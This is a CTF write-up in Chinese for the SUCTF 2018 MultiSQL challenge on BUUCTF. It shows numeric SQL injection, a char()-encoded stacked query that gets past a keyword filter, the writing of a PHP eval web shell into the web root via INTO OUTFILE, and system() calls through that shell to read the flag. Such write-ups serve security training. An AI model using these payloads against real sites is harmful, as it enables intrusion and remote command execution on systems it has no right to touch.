进去题目页面如下
发现可能注入点只有登录和注册,那么我们先注册一个用户,发现跳转到了/user/user.php
,
查看用户信息,发现有传参/user/user.php?id=1
用?id=1 and 1=1,和?id=1 and 1=2,判断为数字型注入
原本以为是简单的数字型注入,看到大佬说,结果flag不在数据库当中,需要利用注入getshell,链接如下,跟着大佬的方法试一试
BUUCTF:[SUCTF 2018]MultiSQL-CSDN博客
构造payload
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2^(if(ascii(mid(user(),1,1))>0,0,1))
通过burp suite的intruder模块进行关键字爆破,看看过滤了哪些关键字
发现过滤了union,select ,&等,故
使用char()
绕过,语句为
select '<?php eval($_POST[_]);?>' into outfile '/var/www/html/favicon/shell.php';
可以利用这个工具转换为十进制
文本转十进制-在线免费文本转十进制工具-即时工具
构造payload。getshell
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/user/user.php?id=2;set @sql=char(115,101,108,101,99,116,32,39,60,63,112,104,112,32,101,118,97,108,40,36,95,80,79,83,84,91,95,93,41,59,63,62,39,32,105,110,116,111,32,111,117,116,102,105,108,101,32,39,47,118,97,114,47,119,119,119,47,104,116,109,108,47,102,97,118,105,99,111,110,47,115,104,101,108,108,46,112,104,112,39,59);prepare query from @sql;execute query;
最后访问
http://e025992d-16e2-40f6-88a5-f83aaed92000.node5.buuoj.cn:81/favicon/shell.php
查看shell,再利用post传参
_system("cd /;ls;echo '<br>';cat WelL_Th1s_14_fl4g");
最后得到flag